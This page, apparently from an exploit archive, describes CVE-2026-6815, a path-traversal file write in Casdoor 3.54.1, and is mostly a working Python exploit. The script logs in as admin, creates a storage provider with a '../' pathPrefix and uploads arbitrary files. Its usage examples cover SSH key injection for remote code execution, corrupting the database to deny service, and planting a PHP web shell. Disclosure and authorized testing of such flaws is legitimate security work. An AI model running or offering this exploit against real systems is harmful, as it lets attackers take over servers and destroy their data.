Skip to main content

Casdoor 3.54.1 – Arbitrary File Write via Path Traversal

Categories: Go WebApps

Overview

The Casdoor version 3.54.1 is currently affected by a critical vulnerability identified as CVE-2026-6815, which enables an arbitrary file write via path traversal. This security flaw allows attackers to manipulate file paths, potentially leading to unauthorized access or modification of sensitive files on the server. As organizations increasingly rely on Casdoor for identity and access management, understanding this vulnerability is crucial for maintaining the integrity of their systems.

Technical Details

The vulnerability arises from insufficient input validation in the file upload functionality of Casdoor. By exploiting path traversal techniques, an attacker can craft a malicious request that includes directory traversal sequences (such as “../”) to navigate the file system. This manipulation allows the attacker to write arbitrary files to locations on the server that should be restricted, including configuration files or application scripts.

For instance, an attacker could exploit this vulnerability to overwrite critical files like config.json or even inject malicious scripts into the web application’s directory. This not only compromises the application but could also lead to further exploitation, such as remote code execution or data exfiltration.

Impact

The consequences of CVE-2026-6815 can be severe, as successful exploitation may result in unauthorized access to sensitive information, loss of data integrity, or even complete system compromise. Organizations using Casdoor without adequate protections may find themselves vulnerable to data breaches, compliance violations, and reputational damage.

Mitigation

To protect against this vulnerability, security professionals should immediately upgrade to the latest version of Casdoor that addresses CVE-2026-6815. Additionally, implementing robust input validation and sanitization practices can mitigate the risk of path traversal attacks. It is essential to configure web servers to limit file write permissions strictly to necessary directories.

Furthermore, conducting regular security audits and employing web application firewalls (WAF) can help detect and block malicious requests. Organizations should also educate their development teams about secure coding practices to prevent similar vulnerabilities in future releases.

Proof of Concept (PoC)

poc.py
# Exploit Title: Casdoor 3.54.1 - Arbitrary File Write via Path Traversal 
# Date: 2026-05-11
# Exploit Author: sixpain
# Vendor Homepage: https://casdoor.org/
# Software Link: https://github.com/casdoor/casdoor
# Version: < 3.54.1
# Tested on: Linux / Docker
# CVE : CVE-2026-6815

"""
Casdoor Arbitrary File Write / Path Traversal PoC (CVE-2026-6815)
================================================

DESCRIPTION:
This script exploits a Path Traversal vulnerability in the storage provider 
management component of Casdoor. By creating a 'Local File System' provider 
with a manipulated 'pathPrefix', an authenticated administrator can bypass 
the storage sandbox to write, overwrite, or delete arbitrary files on the 
underlying host filesystem.

IMPACT:
- Remote Code Execution (RCE) via SSH key injection or web shell upload.
- Persistent Denial of Service (DoS) by corrupting core application binaries 
  or database files (e.g., casdoor.db).

USAGE EXAMPLES:
1. SSH Key Injection for RCE:
   python3 poc.py --url http://target:8000 --usr admin --psw 123 --file id_rsa.pub --rpath /home/casdoor/.ssh/authorized_keys

2. Persistent DoS (Database Corruption):
   python3 poc.py --url http://target:8000 --usr admin --psw 123 --file dummy.txt --rpath /app/casdoor.db

3. Reverse Shell (via secondary web server webroot):
   python3 poc.py --url http://target:8000 --usr admin --psw 123 --file shell.php --rpath /var/www/html/shell.php

TROUBLESHOOTING & TECHNICAL NOTES:
- APP & ORG CONTEXT: By default, the script targets the 'app-built-in' application 
  and 'built-in' organization. If you have credentials for custom 
  namespaces, specify them using the --appname and --orgname flags.
- FILE OVERWRITE BEHAVIOR: Successful overwriting occurs only once per unique 
  remote path. Casdoor's resource management logic prevents direct subsequent 
  overwrites by appending increments (e.g., file-1.ext, file-2.ext) to the 
  resource name if the entry already exists in the application's internal 
  database. To re-exploit the same path, the specific resource entry must 
  usually be deleted via the UI/API or a different provider name must be used.
- PERMISSIONS: Exploitation success is dependent on the OS-level permissions 
  of the user account running the Casdoor service.
- VERBOSE MODE: Use -v or --verbose to inspect raw API requests and responses.

DISCLAIMER:
This tool is for educational and coordinated disclosure purposes only. 
Unauthorized testing against systems you do not own is illegal.
"""


import argparse
import requests
import json
import os

def log_request(response, verbose):
    """Prints request and response details if verbose mode is enabled."""
    if verbose:
        print("n" + "="*50)
        print(f"DEBUG - REQUEST: {response.request.method} {response.request.url}")
        print(f"HEADERS: {json.dumps(dict(response.request.headers), indent=2)}")
        if response.request.body:
            # Handle potential bytes body for multipart
            body = response.request.body
            if isinstance(body, bytes):
                print(f"BODY: <binary data, length {len(body)}>")
            else:
                print(f"BODY: {body}")
        print("-" * 50)
        print(f"DEBUG - RESPONSE: {response.status_code}")
        print(f"HEADERS: {json.dumps(dict(response.headers), indent=2)}")
        try:
            print(f"JSON BODY: {json.dumps(response.json(), indent=2)}")
        except:
            print(f"RAW BODY: {response.text[:500]}...") 
        print("="*50 + "n")

def run_poc():
    parser = argparse.ArgumentParser(description="Casdoor Path Traversal Exploitation PoC")
    parser.add_argument("--url", required=True, help="Target base URL (e.g., http://casdoor:8000)")
    parser.add_argument("--usr", default="admin", help="Login username")
    parser.add_argument("--psw", default="123", help="Login password")
    parser.add_argument("--file", required=True, help="Local file to upload")
    parser.add_argument("--rpath", required=True, help="Absolute remote path (e.g., /tmp/pwned.txt)")
    parser.add_argument("--appname", default='app-built-in', help="Target Casdoor Application Name")
    parser.add_argument("--orgname", default='built-in', help="Target Casdoor Organization Name")
    parser.add_argument("-v", "--verbose", action="store_true", help="Enable verbose logging")
    
    args = parser.parse_args()
    
    # Sanitize and validate URL schema
    target_url = args.url.strip().rstrip('/')
    if not target_url.startswith(('http://', 'https://')):
        print("[!] No protocol specified. Defaulting to http://")
        target_url = f"http://{target_url}"
    
    session = requests.Session()

    # Setting common user agent
    session.headers.update({
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0"
    })

    # --- STEP 1: INITIAL SESSION ---
    print(f"[*] Step 1: Retrieving initial session cookie...")
    try:
        r1 = session.get(f"{target_url}/login/built-in")
        log_request(r1, args.verbose)
        
        if "casdoor_session_id" not in session.cookies:
            print("[-] Error: Failed to retrieve casdoor_session_id.")
            return
        print(f"[+] Session ID obtained: {session.cookies.get('casdoor_session_id')}")

        # --- STEP 2: LOGIN / PRIVILEGE ESCALATION ---
        print(f"[*] Step 2: Logging in as {args.usr}...")
        login_payload = {
            "application": args.appname,
            "organization": args.orgname,
            "username": args.usr,
            "password": args.psw,
            "autoSignin": True,
            "signinMethod": "Password",
            "type": "login"
        }
        
        r2 = session.post(
            f"{target_url}/api/login", 
            data=json.dumps(login_payload),
            headers={"Content-Type": "text/plain;charset=UTF-8"}
        )
        log_request(r2, args.verbose)
        
        login_res = r2.json()
        if login_res.get("status") == "ok" and 'admin' in login_res.get("data").lower():
            print("[+] Login successful. Admin privileges confirmed.")
        else:
            print("[!] Warning: Not an admin or login failed. Attempting to proceed anyway...")

        # --- STEP 2.5: VERSION CHECK ---
        print(f"[*] Step 2.5: Checking Casdoor version...")
        try:
            r_version = session.get(f"{target_url}/api/get-version-info")
            log_request(r_version, args.verbose)
            if r_version.status_code == 200:
                version_data = r_version.json().get("data", {})
                if not version_data:
                     # Some versions might return data directly or in different format
                     version_data = r_version.json()
                
                version = version_data.get("version", "unknown")
                print(f"[+] Target Casdoor version: {version}")
                
                # Check if version is patched (>= 3.54.1)
                is_vulnerable = True
                if version != "unknown" and version != "dev":
                    try:
                        v_clean = version.lstrip('v').split('-')[0]
                        v_parts = [int(p) for p in v_clean.split('.')]
                        if v_parts >= [3, 54, 1]:
                            is_vulnerable = False
                    except:
                        pass # Parsing error, assume vulnerable or let user decide
                
                if not is_vulnerable:
                    print(f"[!] WARNING: Target version {version} is likely PATCHED (>= 3.54.1) and this PoC will not work.")
                    choice = input("[?] Do you want to continue anyway? (y/N): ").lower()
                    if choice != 'y':
                        print("[-] Aborting.")
                        return
            else:
                print("[!] Warning: Could not retrieve version info (Status: {}).".format(r_version.status_code))
        except Exception as e:
            print(f"[!] Error during version check: {e}")


        # --- STEP 3: CREATE MALICIOUS STORAGE PROVIDER ---
        print("[*] Step 3: Creating Path Traversal Provider...")
        provider_payload = {
            "owner": "admin",
            "name": "path_traversal",
            "createdTime": "2026-02-20T17:59:58+01:00",
            "displayName": "Path Traversal Provider",
            "category": "Storage",
            "type": "Local File System",
            "method": "Normal",
            "pathPrefix": "../../../../../../../../../"
        }
        
        r3 = session.post(
            f"{target_url}/api/add-provider", 
            data=json.dumps(provider_payload),
            headers={"Content-Type": "text/plain;charset=UTF-8"}
        )
        log_request(r3, args.verbose)
        
        prov_res = r3.json()
        msg = prov_res.get("msg", "")
        if prov_res.get("status") == "ok":
            print("[+] Malicious provider created successfully.")
        elif "UNIQUE constraint failed" in msg:
            print("[*] Provider 'path_traversal' already exists. Reusing it.")
        else:
            print(f"[-] Failed to create provider: {msg}")
            if "pathPrefix" in msg and "is not allowed" in msg:
                print(f"[!] Escape sequence is sanitized. Check Casdoor version < 3.54.1 (CVE-2026-6815 is likely fixed).")
            return

        # --- STEP 4: FILE UPLOAD (EXPLOITATION) ---
        print(f"[*] Step 4: Uploading {args.file} to {args.rpath}...")
        upload_params = {
            "owner": args.orgname,
            "user": args.usr,
            "application": args.appname,
            "tag": "custom",
            "parent": "ResourceListPage",
            "fullFilePath": args.rpath,
            "provider": "path_traversal"
        }
        
        if not os.path.exists(args.file):
            print(f"[-] Error: Local file {args.file} not found.")
            return

        with open(args.file, 'rb') as f:
            # Note: headers are handled automatically by requests for multipart/form-data
            files = {'file': (os.path.basename(args.file), f, 'application/octet-stream')}
            r4 = session.post(f"{target_url}/api/upload-resource", params=upload_params, files=files)
            log_request(r4, args.verbose)
            
            upload_res = r4.json()

        if upload_res.get("status") == "ok":
            print("n" + "!"*25)
            print(" EXPLOIT SUCCESSFUL")
            print("!"*25 + "n")

            print(f"Response Path")
            print(25*'-')
            print(f't-data : {upload_res.get('data')}')
            print(f't-data2: {upload_res.get('data2')}')
            print(f't-data3: {upload_res.get('data3')}')
            print(25*'-')

        else:
                print(f"[-] Upload failed: {upload_res.get('msg')}")

    except Exception as e:
        print(f"[-] An unexpected error occurred: {e}")

if __name__ == "__main__":
    run_poc()

Security Disclaimer

This exploit is provided for educational and authorized security testing purposes only. Unauthorized access to computer systems is illegal and may result in severe legal consequences. Always ensure you have explicit permission before testing vulnerabilities.

sh3llz@loading:~$
Loading security modules...